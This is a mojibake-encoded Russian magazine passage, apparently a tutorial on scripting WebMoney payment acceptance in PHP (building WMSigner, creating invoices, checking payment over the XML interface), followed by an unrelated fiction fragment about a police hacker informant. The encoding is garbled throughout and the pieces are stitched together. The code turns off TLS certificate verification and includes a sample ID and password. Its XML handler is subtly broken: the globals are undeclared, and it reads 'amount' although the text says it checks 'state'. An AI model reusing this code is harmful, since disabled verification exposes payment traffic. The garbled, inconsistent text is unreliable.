ñîçäàòü ïðîãðàììó, êîòîðàÿ áóäåò óïðàâëÿòü ðàáîòîé WM-Keeper'à. Íó
è, êîíå÷íî, ìîæíî áåç áîëüøèõ ïðîáëåì íàó÷èòüñÿ èñïîëüçîâàòü äëÿ
îñóùåñòâëåíèÿ òðàíçàêöèé ÷åëîâåêî-àäàïòèðîâàííûé web-èíòåðôåéñ.
Íî ýòî äîâîëüíî äóðàöêîå ðåøåíèå, íåêðàñèâîå è íåýôôåêòèâíîå. Îñî-
áåííî ó÷èòûâàÿ òîò ôàêò, ÷òî ñàìè ðàçðàáîò÷èêè ïëàòåæíûõ ñèñòåì ñîç-
äàþò óäîáíûå ïðîãðàììíûå èíòåðôåéñû äëÿ îñóùåñòâëåíèÿ òðàíçàê-
öèé. Ñåé÷àñ ÿ ðàññêàæó òåáå, êàê ôóíêöèîíèðóþò ýòè ãåéòû, êàê ðàáî-
òàòü ñ íèìè è êàêèì îáðàçîì íà ïðàêòèêå ìîæíî íàïèñàòü ïðîãðàììó,
ðåàëèçóþùóþ ïðèåì ýëåêòðîííûõ äåíåã. ×òîáû íå áûòü ãîëîñëîâíûì è
íå îòðûâàòüñÿ äàëåêî îò ïðàêòèêè, ìû íàïèøåì âìåñòå íåñêîëüêî íåñ-
ëîæíûõ ñêðèïòîâ, ðåàëèçóþùèõ ÷àñòî âñòðå÷àþùèåñÿ çàäà÷è. ß âñå áó-
äó äåëàòü íà ïðèìåðå WebMoney, ïîñêîëüêó ýòî ñàìàÿ ïîïóëÿðíàÿ ñèñ-
òåìà â Ðîññèè, è ñ íåé óäîáíåå âñåãî ðàáîòàòü.

[íà÷íåì] Äîâîëüíî ââîäíûõ ñëîâ, äàâàé ïåðåéäåì ê äåëó. Ïîä «èíòåð-
ôåéñàìè» äëÿ îñóùåñòâëåíèÿ òðàíçàêöèé ñïåöèàëèñòû WebMoney ïî-
íèìàþò íàáîð asp-ñêðèïòîâ, ðàçìåùåííûõ íà ñåðâåðå https://w3s.web-
money.ru. Êàæäûé ñêðèïò îòâå÷àåò çà îïðåäåëåííîå äåéñòâèå, îäíàêî
ðàáîòà ñ íèìè âûãëÿäèò âåñüìà îäíîòèïíî è îäíîîáðàçíî.
Ñóùåñòâóåò äâà òèïà èíòåðôåéñîâ: https, è xml. Â ïåðâîì ñëó÷àå âñÿ óï-
ðàâëÿþùàÿ èíôîðìàöèÿ (äàííûå î ïëàòåëüùèêå, ìàãàçèíå, öèôðîâàÿ
ïîäïèñü çàïðîñà è ò.ä.) ïåðåäàåòñÿ ïî HTTPS-ïðîòîêîëó ìåòîäîì GET.
Âî âòîðîì ýòè äàííûå ïðèâîäÿòñÿ ê âèäó XML-äîêóìåíòà, êîäèðóþòñÿ
MIME è ïîñûëàþòñÿ â âèäå POST-çàïðîñà ñ èñïîëüçîâàíèåì SSL-øèô-
ðîâàíèÿ. Ìíå áîëüøå íðàâèòñÿ èäåÿ èñïîëüçîâàòü XML-ïðåäñòàâëåíèå
çàïðîñîâ è îòâåòîâ, íî ýòî èç-çà ïàòàëîãè÷åñêîé ëþáâè ê ýòîé òåõíîëî-
ãèè. Ðàçðàáîò÷èêàì WM, âèäèìî, ïî äóøå GET-ìåòîä, è îíè â ïðèëîæå-
íèè ê òåõíè÷åñêîé äîêóìåíòàöèè íàïèñàëè íàáîð PHP-ñêðèïòîâ äëÿ

×òîáû óñòàíîâèòü cURL,
íóæíî ñëèòü äèñòðèáóòèâ ñ
http://curl.haxx.se, ñäåëàòü
./configure, make, make
install, ñîáðàòü PHP ñ îïöèåé
--with-curl[=DIR], ãäå DIR -
èìÿ äèðåêòîðèè, ñîäåðæà-
ùåé ïîääèðåêòîðèè lib è
include. Äèðåêòîðèÿ include
äîëæíà ñîäåðæàòü ïîääè-
ðåêòîðèþ curl ñ ôàéëàìè
easy.h è curl.h. Äèðåêòîðèÿ
lib äîëæíà ñîäåðæàòü ôàéë
libcurl.a. Ïîñëå ýòîãî óæå
ìîæíî èñïîëüçîâàòü â ñâî-
èõ ñöåíàðèÿõ ôóíêöèè cURL

Íà íàøåì äèñêå òû íàé-
äåøü äèñòðèáóòèâ cURL,
ïîñëåäíèå ðåëèçû PHP
ïîä ðàçíûå ïëàòôîðìû,
âñþ íóæíóþ äîêóìåíòàöèþ
è âñå îïèñàííûå ïðèìåðû.
Öåëèêîì, à íå â ïîñêèïàí-
íîì, êàê â ñòàòüå, âèäå.

Îðãàíèçîâûâàåì
àâòîìàòè÷åñêèé ïðèåì
èíòåðíåò-ïëàòåæåé

(p
hp

)



Ñïåöèàëèñòû WebMoney ïðèãîòîâèëè îòëè÷íóþ èñ÷åð-
ïûâàþùóþ òåõíè÷åñêóþ äîêóìåíòàöèþ ïî ýòîìó ïîâî-
äó, îçíàêîìèòüñÿ ñ êîòîðîé òû ìîæåøü ïî àäðåñó
www.webmoney.ru/pfdevelopers.shtml.

Êàê çàâåðÿþò ðàçðàáîò÷èêè, íà áîëüøèíñòâå ñèñòåì ïðîãðàììà ñîáåðåò-
ñÿ áåç ëèøíèõ âîïðîñîâ. Ó ìåíÿ è â ñàìîì äåëå ýòî çàíÿëî ïîëñåêóíäû,
è íå áûëî íèêàêèõ îøèáîê, äóìàþ, ÷òî è ó òåáÿ âñå ïîëó÷èòñÿ, êàê íàäî.
Ïîñëå òîãî, êàê óñòàíîâî÷íûé ñöåíàðèé çàâåðøèò ñâîþ ðàáîòó, è â òå-
êóùåé ïàïêå ïîÿâèòñÿ áèíàðíèê WMSinger, íóæíî ñîçäàòü ôàéë ñ íàñò-
ðîéêàìè WMSinger.ini è çàïèñàòü òóäà òðè ñòðîêè:

489406628422 # wm-id
EouyGq9a #   ïàðîëü
/path/to/key.kwm # ïóòü ê ôàéëó ñ êëþ÷àìè

Òåïåðü íàñòàëî âðåìÿ ïðîòåñòèðîâàòü ðàáîòó WMSigner'à:

$ echo -ne "xakep\004\r\n" | ./WMSigner
3c411f96426cd80027ec5c87f8e1e004eeaef8487b80092cb696b2d80b1b
ad8f2bb04336b598a56fef62a719e7a596e8255e7a2ab662a1ac9d59c2eb
0e0113830074

Åñëè ïðîãðàììà òåáå âûâåëà ïîõîæóþ ñòðî÷êó, çíà÷èò, âñå ðàáîòàåò êàê
íóæíî, è ìîæíî ïåðåõîäèòü ê ñëåäóþùåìó ýòàïó íàøåé ðàáîòû � íå-
ïîñðåäñòâåííî ê èñïîëüçîâàíèþ àâòîìàòè÷åñêèõ èíòåðôåéñîâ.

[þçàåì èíòåðôåéñû] Ïåðâûì äåëîì äàâàé ðàçáåðåìñÿ
ñ ðàáîòîé îäíîãî ïðîñòîãî ïðèìåðà, êîòîðûé íàì çàáîòëè-
âî ïðèãîòîâèëè ðàçðàáîò÷èêè êîìïàíèè WebMoney. Äëÿ
ýòîãî âîçüìè ñ íàøåãî äèñêà àðõèâ wmex_php, çàëåé åãî íà
õîñò, ïîìåñòè âíóòðü ïàïêè ôàéë WMSigner ñ íàñòðîéêàìè,
îòðåäàêòèðóé ôàéë íàñòðîåê wmconst.inc. Âñå ýòî äåëàåòñÿ
ïî íàèòèþ è ñåêóíä çà 25.
Ïîñëå ýòîãî òû óæå ñìîæåøü ëåãêî ðàáîòàòü ñ òåñòîâûìè
ïðèìåðàìè. Äàâàé ïîïðîáóåì ñ òîáîé âîñïîëüçîâàòüñÿ èí-
òåðôåéñîì «Âûïèñûâàíèå ñ÷åòà îò îäíîãî ó÷àñòíèêà äðóãî-
ìó». Äëÿ ýòîãî äîñòàòî÷íî çàïîëíèòü âñå ïîëÿ è êëàöíóòü íà
êíîïêó îòïðàâêè çàïðîñà. Åñëè âñå ðàáîòàåò âåðíî è òû âñå
íîðìàëüíî íàñòðîèë, òåáå ïîêàæóò íîìåð ñ÷åòà è ñîîáùàò,
÷òî îí âûïèñàí íîðìàëüíî. Õîòÿ ÿ íà 100% óâåðåí, ÷òî ó òå-
áÿ ñðàçó âîçíèêíåò ñîîáùåíèå «Îøèáêà ñâÿçè ñ ñåðòèôè-
êàöèîííûì öåíòðîì WebMoney». Ïåðâàÿ ïðè÷èíà, ïî êîòî-
ðîé ýòî ìîæåò ïðîèçîéòè, çàêëþ÷àåòñÿ â òîì, ÷òî ó òåáÿ ìî-
æåò áûòü íå óñòàíîâëåí ïàêåò  ñURL, êîòîðûé íóæåí íàì
äëÿ ðàáîòû. Åñëè îí íå ñòîèò, åãî íåîáõîäèìî èíñòàëëèðî-
âàòü â ñèñòåìå � î òîì, êàê ýòî ñäåëàòü, íàïèñàíî â ñîîò-
âåòñòâóþùåé âðåçêå. À âòîðàÿ ïðè÷èíà, ïî êîòîðîé ó òåáÿ
òî÷íî âîçíèêíåò ýòà îøèáêà, çàêëþ÷àåòñÿ â òîì, ÷òî â SSL
íå óñòàíîâëåí ñåðòèôèêàò äëÿ ñâÿçè ñ wm-ñåðâåðîì. Ñëå-

ýëåêòðîííîãî ïðîöåññèíãà. Êàæäûé òàêîé ïðèìåð èñïîëüçóåò GET-çàï-
ðîñ äëÿ ïåðåäà÷è äàííûõ, è ïðåäñòàâëÿåòñÿ ìíå óäà÷íûì ó÷åáíûì ïðè-
ìåðîì. Ìû ñ òîáîé ðàçáåðåìñÿ ñ ðàáîòîé ýòèõ ñêðèïòîâ è íàïèøåì
ñîáñòâåííîå ïðèëîæåíèå, èñïîëüçóþùåå XML äëÿ ïåðåäà÷è çàïðîñîâ.

[ñàãà î ïîäïèñÿõ] Ñðåäè îòïðàâëÿåìûõ àâòîìàòè÷åñêîìó èíòåðôåé-
ñó ïàðàìåòðîâ, ÿ óïîìÿíóë êàêóþ-òî öèôðîâóþ ïîäïèñü çàïðîñà. Âïîë-
íå ðåçîííûé âîïðîñ: ÷òî ýòî òàêîå? Ãðóáî ãîâîðÿ, ýòî óíèêàëüíàÿ äëÿ
êàæäîãî çàïðîñà ñòðîêà äëèíîé â 133 ñèìâîëà. Îíà ãåíåðèðóåòñÿ ñïå-
öèàëüíîé ïðîãðàììîé WMSigner, êîòîðàÿ ïîñòàâëÿåòñÿ èñõîäíûìè êî-
äàìè. Ñîáðàòü åå ìîæíî, íàñêîëüêî ÿ ïîíÿë, ïîä ëþáîé ïëàòôîðìîé 
è, ðàçóìååòñÿ, ïîä Windows ïðåäëàãàåòñÿ ñêà÷àòü óæå ñîáðàííûé áè-
íàðíèê (dll äëÿ IIS). Ïîñêîëüêó ÿ èñïîëüçîâàë äëÿ ñâîèõ îïûòîâ FreeBSD,
ÿ ñêà÷àë ñ http://download.webmoney.ru/WMSigner.zip ñîðöû ïðîãðàììû 
è äîâîëüíî áûñòðî ïðèâåë åå ê èñïîëíÿåìîìó âèäó:

$ wget http://download.webmoney.ru/WMSigner.zip
$ unzip WMSigner.zip
# äàåì óñòàíîâî÷íîìó ñêðèïòó ïðàâà äëÿ âûïîëíåíèÿ
$ chmod +x compl.sh 
$ ./compl.sh # ñîáèðàåì áèíàðíèê, ñêðèïò ñàì ñäåëàåò âñå, ÷òî íóæíî
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âñå èíòåðôåéñû WM îòëè÷íî äîêóìåíòèðîâàíû, íî íå âñå îíè îòêðûòû 
äëÿ ñâîáîäíîãî äîñòóïà



äóåò ñêà÷àòü ýòîò ñåðòèôèêàò ñ www.webmoney.ru, ðàçìåñòèòü åãî íà
òâîåì ñåðâåðå â äîñòóïíîì ñöåíàðèÿì ìåñòå è âíóòðè ôàéëà wm.inc
íàéòè ôóíêöèþ _HttpReq:

[êîä ôóíêöèè, ðåàëèçóþùèé HTTPS-çàïðîñ]

function _HttpsReq($addr)
{
$ch = curl_init("https://w3s.webmoney.ru".$addr);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_CAINFO,
"/home/apache/ired/htdocs/pay/wm.crt"); # çäåñü íàäî óêàçàòü ïóòü 
ê ñåðòèôèêàòó, èëè ìîæíî óñòàíîâèòü åãî â SSL
$result=curl_exec($ch);
curl_close($ch);
return $result;
}

Åñëè âîçèòüñÿ ñ ñåðòèôèêàòàìè íå õî÷åòñÿ, à õî÷åòñÿ ïîáûñòðåå ïîïðî-
áîâàòü ñèñòåìó â äåéñòâèè, íóæíî çàìåíèòü ñòðîêó curl_setopt($ch, CUR-
LOPT_CAINFO�) íà curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,
FALSE). Õîòü äåëàòü òàê ðàçðàáîò÷èêè íå ñîâåòóþò, íàøèì îïûòàì ýòî
íå ïîìåøàåò íè êàïåëüêè. Äðóãîå äåëî, ÷òî òàê íåëüçÿ äåëàòü ñ áîëü-
øèì ìàãàçèíîì, ãäå êðóòÿòñÿ äåíüãè.
Ïîñëå òîãî, êàê òû èñïðàâèøü ôóíêöèþ _HttpsReq, èëè óñòàíîâèøü ñåð-
òèôèêàò, âñå äîëæíî çàðàáîòàòü. Òåïåðü äàâàé ðàçáåðåìñÿ ñ òåì, êàê
ôóíêöèîíèðóåò ýòà ïðîãðàììà. Â ôàéëå wm.inc íàéäè ôóíêöèþ
InvCreate:

[êîä ôóêíöèè, ðåàëèçóþùåé âûïèñêó ñ÷åòà ÷åðåç https-èíòåðôåéñ]

function InvCreate($wmid, $summ, $inv_id, $dsc, $adr)
{
# ïîñêèïàíî, òóò îáúÿâëÿþòñÿ ïåðåìåííûå
$PlanStr =
"$OrderID$LoginOfCust$PurseOfStores$Amount$Desc$InvAddress$Perio
d$Experation$RequestN";# ïðîïèñûâàåìàÿ ñòðîêà çàïðîñà
$SignStr = _GetSign($PlanStr); # ôîðìèðóåòñÿ ïîäïèñü çàïðîñà
$W3sUrl="/asp/Invoice.asp?SL=$LoginOfStores&SP=$PurseOfStores&C
L=$LoginOfCust&IN=$OrderID&D=".urlencode($Desc)."&AD=".urlen-
code($InvAddress)."&A=$Amount&E=$Experation&P=$Period&RN=$Req
uestN&SS=$SignStr";# ñîñòâëÿåòñÿ URL get-çàïðîñà
$httpsRes = _HttpsReq($W3sUrl); # âûïîëíÿåòñÿ çàïðîñ
if (substr($httpsRes,0,6) == "Error:") # ðàçáèðàåòñÿ îòâåò, åñëè ïðîèçîøëà îøèáêà
{

$errCode = sprintf("%d", substr($httpsRes,6)); # ïîëó÷àåòñÿ êîä îøèáêè
# ïîñêèïàíî. Òóò â çàâèñèìîñòè îò êîäà îøèáêè âûâîäÿòñÿ ðàçíûå
# ñîîáùåíèÿ
if (substr($httpsRes,0,8) == "WMInvId:") #Åñëè âñå âûïîëíèëîñü íîðìàëüíî
{
$wminv_id = sprintf("%d", substr($httpsRes,8)); # ïîëó÷àåì íîìåð ñ÷åòà

} return array($wminv_id, $err); 
}

Êàê âèäèøü, âñå ïðîñòî. Ôàêòè÷åñêè, ðàáîòà ôóíêöèè ñâîäèòñÿ ê ôîð-
ìèðîâàíèþ URL, ê êîòîðîìó ñëåäóåò îáðàòèòüñÿ, ÷òîáû âûïîëíèòü òðàí-
çàêöèþ. Â ñàìîì äåëå: èç ïàðàìåòðîâ çàïðîñà, ñîãëàñíî äîêóìåíòàöèè,
ôîðìèðóåòñÿ ïîäïèñûâàåìàÿ ñòðîêà, çàòåì, ïðè ïîìîùè ôóíêöèè
_GetSign, ôîðìèðóåòñÿ ÖÏ, êîòîðàÿ ïîìåùàåòñÿ â êà÷åñòâå ïàðàìåòðà
çàïðîñà ñ èìåíåì SS. Ïîñëå òîãî, êàê â ñîîòâåñòâóþùèå GET-ïîëÿ, ñîã-
ëàñíî äîêóìåíòàöèè, óñòàíîâëåíû çíà÷åíèÿ ïàðàìåòðîâ çàïðîñà, ïðè
ïîìîùè ôóíêöèè _HttpReq îí îòïðàâëÿåòñÿ ñåðâåðó, è ïðîèñõîäèò íå-
õèòðàÿ îáðàáîòêà îòâåòà. ×òî êàñàåòñÿ ôóíêöèè _GetSign, òî èäåîëîãè-
÷åñêè ðàáîòàåò îíà ïðîñòî: ïðè ïîìîùè çíàêîìîé òåáå ôóíêöèè popen
îòêðûâàåòñÿ ïàéï ñ ïðîöåññîì WMSigner, òóäà âäóâàåòñÿ ïîäïèñûâàå-
ìàÿ ñòðîêà è èçâëåêàåòñÿ ÖÏ çàïðîñà. ×òî êàñàåòñÿ _HttpReq, òî ýòîò
áëîê êîäà ïðèâåäåí ÷óòü âûøå. Ëåãêî óâèäåòü, ÷òî îí èñïîëüçóåò â ñâî-
åé ðàáîòå ôóíêöèè curl, êðàòêîå îïèñàíèå êîòîðûõ òû íàéäåøü â ñîîò-
âåòñòâóþùåé äîêóìåíòàöèè íà íàøåì äèñêå.

[äðóãèå èíòåðôåéñû] Êàê ÿ óæå ãîâîðèë, â ñèñòåìå WM äîñòóïíî
áîëüøîå êîëè÷åñòâî èíòåðôåéñîâ: äëÿ ïåðåâîäà ñðåäñòâ, îòïðàâêè ñî-
îáùåíèé ïî âíóòðåííåé ïî÷òå è ò.ä. Ê ñîæàëåíèþ, â ñâîáîäíîì äîñòó-
ïå íàõîäèòñÿ ëèøü íåáîëüøàÿ èõ ÷àñòü, äëÿ äîñòóïà ê îñòàëüíûì íóæ-
íà ðåãèñòðàöèÿ. Íî íàì ýòî íå ïîìåøàåò. Êàê âèäèøü, ìû óæå ñ òîáîé
ðàçîáðàëèñü ñ ðàáîòîé Https-èíòåðôåéñà, âûïèñûâàþùåãî ïîêóïàòå-
ëþ ñ÷åò. Íà íàøåì äèñêå òû íàéäåøü ìîé ñêðèïò, ðåàëèçóþùèé òîæå
ñàìîå, íî ÷åðåç áîëåå ñîâðåìåííûé XML-èíòåðôåéñ. Ïðèâîäèòü çäåñü
åãî êîä è îïèñûâàòü ðàáîòó ÿ íå áóäó, íåçà÷åì ïîâòîðÿòüñÿ, ëó÷øå ìû
íàïèøåì ïðèëîæåíèå, êîòîðîå áóäåò ïðîâåðÿòü, îïëà÷åí ëè âûïèñàí-
íûé ðàíåå ñ÷åò, èëè íåò. Äåëî â òîì, ÷òî èíòåðôåéñ, ïîçâîëÿþùèé
íàïðÿìóþ ïåðåâîäèòü äåíüãè, çàêðûò îò ñâîáîäíîãî äîñòóïà, è, ÷òîáû
ïðèäàòü çàêîí÷åííîñòü èçëîæåíèþ, ìû áóäåì èñïîëüçîâàòü òàêóþ ñõå-
ìó: ïîêóïàòåëþ âûïèñûâàåòñÿ ñ÷åò çà òîâàð, îí åãî îïëà÷èâàåò, ñöå-
íàðèé ïðîâåðÿåò ýòî, è, åñëè ñ÷åò îïëà÷åí, ðåãèñòðèðóåò ýòîò ôàêò. Åñ-
ëè ïîëó÷èòü äîñòóï ê èíòåðôåéñó ïðÿìîãî ïåðåâîäà äåíåã, ýòà ñõåìà
óïðîùàåòñÿ. Íî íàñòîÿùàÿ ïðàâäà â òîì, ÷òî ðàáîòàþò âñå ýòè ãåéòû
àáñîëþòíî îäèíàêîâî è íàì ñåé÷àñ ñ òîáîé ãëàâíîå íàó÷èòüñÿ êàê ñëå-
äóåò èõ èñïîëüçîâàòü. À ïåðåäåëàòü ïðèëîæåíèå ïîä êîíêðåòíûé èí-
òåðôåéñ � äåëî 30 ñåêóíä. Òû ãëàâíîå ðàçáåðèñü êàê ñëåäóåò ñ ýòèì.

[âàðèì xml] Ïðîâåðêà ïåðåâîäà ñðåäñòâ ìåæäó êîøåëüêàìè îñóùåñ-
òâëÿåòñÿ ÷åðåç ãåéò https://w3s.webmoney.ru/asp/XMLOperations.asp. Äëÿ
ðåàëèçàöèè çàïðîñà íåîáõîäèìî ñîñòàâèòü POST-çàïðîñ äëÿ ýòîãî ñöå-
íàðèÿ â ñëåäóþùåì ôîðìàòå:

[ôîðìàò çàïðîñà íà ïîëó÷åíèå èíôîðìàöèè îá îïëàòå ñ÷åòà]

<w3s.request>
<reqn>$reqn</reqn> # íîìåð çàïðîñà äîëæåí áûòü áîëüøå ïðåäûäó-
ùåãî èäåíòèôèêàòîðà
<wmid>$wmid</wmid> # WMId ïîäïèñàâøåãî çàïðîñ
<sign>$sign</sign> # ÖÏ çàïðîñà
<getoutinvoices> # Èíôîðìàöèÿ îá èíòåðåñóþùèõ ñ÷åòàõ

<purse>$storepurce</purse>#êîøåëåê, äëÿ îïëàòû íà êîòîðûé âûïè
ñûâàëèñü ñ÷åòà
<wminvid>$invc_n</wminvid># íåîáÿçàòåëüíî: íîìåð ñ÷åòà
<orderid></orderid># íåîáÿçàòåëüíî:íîìåð çàêàçà âíóòðè ìàãàçèíà
<datestart>$datestart</datestart># îáÿçàòåëüíî: íà÷àëî âðåìåííîãî [X
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ñáîðêà WMSinger ïîä FreeBSD âîò òàê âûãëÿäÿò ñîðöû WMSinger



ïðîìåæóòêà ñîçäàíèÿ ñ÷åòà
<datefinish>$datefinish</datefinish># îáÿçàòåëüíî: îêîí÷àíèå âðå
ìåííîãî ïðîìåæóòêà ñîçäàíèÿ ñ÷åòà

</getoutinvoices>
</w3s.request>

Öèôðîâàÿ ïîäïèñü äëÿ ýòîãî çàïðîñà èçãîòàâëèâàåòñÿ èç ñòðîêè $store-
purce.$reqn, íî åñòü èç ñêëååííîãî íîìåðà êîøåëüêà è íîìåðà çàïðîñà.
Ïîñëå òîãî, êàê ìû ñîñòàâèëè äàííûå POST-çàïðîñà, íåîáõîäèìî ñîç-
äàòü ñàì çàãîëîâîê, êîòîðûé áóäåò îòïðàâëåí web-ñåðâåðó. Ýòî îáûêíî-
âåííàÿ ñòðîêà, êîòîðàÿ íà÷èíàåòñÿ òàê:

$header  = "POST ".$page." HTTP/1.0 \r\n";
$header .= "MIME-Version: 1.0 \r\n";

Îíà ïðåäñòàâëÿåò ñîáîé íàáîð çàïîëíåííûõ, ñîãëàñíî RFC, ñòàíäàðò-
íûõ ïîëåé. ß íå áóäó îá ýòîì ïîäðîáíî ðàññêàçûâàòü � íà íàøåì äèñ-
êå â ìîåì ïðèìåðå òû óâèäèøü, êàê ýòî äåëàåòñÿ. Èëè ìîæåøü ëåãêî
íàéòè â èíåòå ëþáîé ïðèìåð. Ïîñëå òîãî, êàê çàãîëîâîê ñîçäàí, íåîáõî-
äèìî ïðè ïîìîùè ôóíêöèé cURL îòïðàâèòü åãî ñåðâåðó: 

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $header);
$data = curl_exec($ch);

Ïîñëå ýòîãî â $data áóäåò ïîìåùåí ðåçóëüòàò âûïîëíåíèÿ çàïðîñà �
äîêóìåíò ñëåäóþùåãî âèäà: 

[ôîðìàò îòâåòà ñåðâåðà]

<w3s.response>
<reqn></reqn>
<retval></retval>
<retdesc></retdesc>
<outinvoices cnt="n" >

<outinvoice id="n1" ts="n2">
# çäåñü êó÷à ïîëåé ñ èíôîé î ñ÷åòàõ. Íàñ èíòåðåñóåò òîëüêî 
# state � ñîñòîÿíèå ñ÷åòà 
</outinvoice>
<outinvoice>...</outinvoice>

</outinvoices>
</w3s.response>

Ñîîòâåòñòâåííî, äëÿ îáðàáîòêè ýòîãî XML-äîêóìåíòà íóæíî èñïîëüçî-
âàòü âñòðîåííûé â PHP ïàðñåð:

$parser=xml_parser_create();
xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
xml_set_element_handler($parser, "startElement", "endElement");
xml_set_character_data_handler($parser, "characterData");
xml_parse($parser,$data);

Êàê âèäíî èç ýòîãî êîäà, ÿ îáúÿâèë ñëåäóþùèå ôóíêöèè äëÿ îáðàáîòêè
îòêðûâàþùåãî è çàêðûâàþùåãî òåãîâ ýëåìåíòîâ: startElement è
endElement. Àíàëèç ñèìâîëüíûõ äàííûõ áóäåò ðåàëèçîâûâàòüñÿ ïðè ïî-
ìîùè ôóíêöèè characterData. ×òîáû íå áûòü ãîëîñëîâíûì è ÷òîáû òåáå
âñå áûëî ïðåäåëüíî ïîíÿòíî, ïðèâåäó çäåñü êîä ýòèõ ôóíêöèé:

[ôóíêöèè-îáðàáîò÷èêè XML'íîãî îòâåòà ñåðâåðà]

# âî âñåõ ïðîöåäóðàõ $fo,$currentTag è $res � ãëîáàëüíûå ïåðåìåííûå
function startElement($parser, $name, $att)
{
$currentTag=$name;
if($name=="outinvoice" && $att["id"]==$_POST[wm_invc_n]) $fo=1;
}

function endElement($parser, $name) {
if($name==="outinvoice" && $fo===1) $fo=0;
}

function characterData($parser,$data) {
if($fo===1) {
if($currentTag=="amount") $res=$data;
}}

Ïîñëå ïàðñèíãà äàííûõ â ãëîáàëüíîé ïåðåìåííîé $res îêàæåòñÿ êîä ðå-
çóëüòàòà çàïðîñà:

� 0 � ñ÷åò íå îïëà÷åí 
� 1 � ñ÷åò îïëà÷åí ïî ïðîòåêöèè 
� 2 � ñ÷åò îïëà÷åí îêîí÷àòåëüíî 
� 3 � â îïëàòå ñ÷åòà îòêàçàíî

[÷åìó ìû íàó÷èëèñü] Ìû ñ òîáîé íàó÷èëèñü, â îáùåì-òî, âñåé íåñ-
ëîæíîé íàóêå ïðîâåäåíèÿ àâòîìàòè÷åñêèõ òðàíçàêöèé â ñèñòåìå WM. Ïî
èäåå, òåïåðü äëÿ òåáÿ íå äîëæíî áûòü ïðîáëåìîé íàïèñàòü ñêðèïò, êîòî-
ðûé áóäåò îòïðàâëÿòü ñîîáùåíèå ïî âíóòðåííåé ïî÷òå, èëè îñóùåñ-
òâëÿòü ïðÿìîé ïåðåâîä äåíåã. Âñå ýòî ðåàëèçóåòñÿ àáñîëþòíî àíàëî-
ãè÷íî ïî ðàçîáðàííûì ìíîé ïðèìåðàì � òû óìååøü èñïîëüçîâàòü êàê
https, òàê è xml-èíòåðôåéñû ñèñòåìû è ðåàëèçîâàòü ëþáóþ çàäà÷ó äëÿ
òåáÿ áóäåò íåñëîæíî, ïóñòü è ïîäãëÿäûâàÿ â ýòó ñòàòüþ. Åñëè ó òåáÿ
îñòàëèñü êàêèå-òî âîïðîñû, ñîâåòóþ îáðàòèòüñÿ ê äîêóìåíòàöèè íà íà-
øåì äèñêå, èëè íàïðÿìóþ íà ñàéò WM: www.webmoney.ru/pfdevelopers.shtml.
Óäà÷è. Åñëè ó òåáÿ åñòü âîïðîñû, êîòîðûå òû íèêàê íå ìîæåøü ðåøèòü,
òî, òàê óæ è áûòü,  ïèøè ìíå íà nikitoz@real.xakep.ru. Òîëüêî íå çàáóäü
ïåðåä ýòèì ïîëîæèòü íà Z557712535333 äîëëàðîâ 50, ok? :)

ïðèøåë âûïèñàííûé ìîèì ñêðèïòîì ñ÷åò íà îïëàòó
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ÊÈÐßÊÈÍ Ñ ÊÐÈÊÎÌ ÂÑÊÎ×ÈË Ñ ÏÎÑÒÅËÈ.
ËÅÆÀÙÀß ÐßÄÎÌ ËÀÐÈÑÀ Ñ ÒÐÅÂÎÃÎÉ
ÑÌÎÒÐÅËÀ ÍÅ ÍÅÃÎ È ÏÎÏÛÒÀËÀÑÜ ÓÑÏÎÊÎÈÒÜ..
mindw0rk (mindw0rk@gameland.ru)

ÇÇààããààääêêèè ÍÍîîññòòððààääààììóóññàà

� Ýòî áûë âñåãî ëèøü êîøìàð. Âèäèøü, òû äîìà. Âñå â ïîðÿäêå.
Âèä ñîáñòâåííîé ñïàëüíè è æåíû ïðèâåë åãî â ÷óâñòâî, íî â ìîçãó åùå
ïðîêðó÷èâàëñÿ íåäàâíèé ñîí. Çëîâåùàÿ ôèãóðà â êàïþøîíå, óòàñêèâà-
þùàÿ äî÷ü, åãî áåçóñïåøíûå ïîïûòêè äîãíàòü èõ, ôðàçà: «Òû íå âûïîë-
íèë çàäà÷ó! Òåïåðü òâîÿ äî÷ü ìîÿ» è çëîâåùèé ñìåõ.
Íà ÷àñàõ áûëî íà÷àëî ïÿòîãî. Êèðÿêèí ðóõíóë íà ïîäóøêó è ïîïûòàëñÿ
ñíîâà çàñíóòü, íî òàê è ïðîëåæàë äî 6 óòðà, ñìîòðÿ â ïîòîëîê.
Ïåðåä âûõîäîì íà ðàáîòó, îí ïîçâîíèë õàêåðó Êðèñó � îäíîìó èç èíôîð-
ìàòîðîâ îòäåëà «Ê», ñ îõîòîé âûäàþùåãî ñâîèõ ïðèÿòåëåé â îáìåí íà îò-
ìàçó ñâîèõ ñòàðûõ ãðåøêîâ. Â îòäåëå åãî òåðïåòü íå ìîãëè çà ïîäõàëèì-
ñòâî è îòúÿâëåííîå ñòóêà÷åñòâî, è äàëè ïðîçâèùå "Êðûñ", íî îí, êàê ëþáîé
ñòóêà÷, áûë ïîëåçåí îòäåëó. Ïîíàäîáèëîñü 4 ìèíóòû, ÷òîáû Êðûñ ñíÿë
òðóáêó.
� Êàêîãî ÷åðòà? � ïîñëûøàëñÿ ñîííûé ãîëîñ.
� ×åðòåé òû â òþðüìå óâèäèøü, åñëè òàê ñ ìàéîðîì ìèëèöèè áóäåøü

×àñòü òðåòüÿ
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ðàçãîâàðèâàòü.
� Ýýý� Âàäèì Ñåðãååâè÷? Çäðàâñòâóéòå. Ðàä âàñ ñëûøàòü.
� Â 10 óòðà ïðèäåøü â ìîé êàáèíåò. È íå çàñòàâëÿé ìåíÿ æäàòü.
� Ñåãîäíÿ?
� Íåò, ÷åðåç ãîä, � èçäåâàþùèìñÿ òîíîì îòâåòèë Êèðÿêèí è ïîëîæèë òðóáêó.

* * *
25-ëåòíèé Êðûñ âî ìíîãîì äåéñòâèòåëüíî áûë ïîõîæ íà êðûñó � õóäîé,
ñ äëèííûì îñòðûì íîñîì, â î÷êàõ ñ êðóãëûìè ëèíçàìè è ïó÷êîì ðåäåþ-
ùèõ êàøòàíîâûõ âîëîñ. Ãîëîñ ó íåãî áûë ìÿãêèé, åëåéíûé, ñòàðàþùèé-
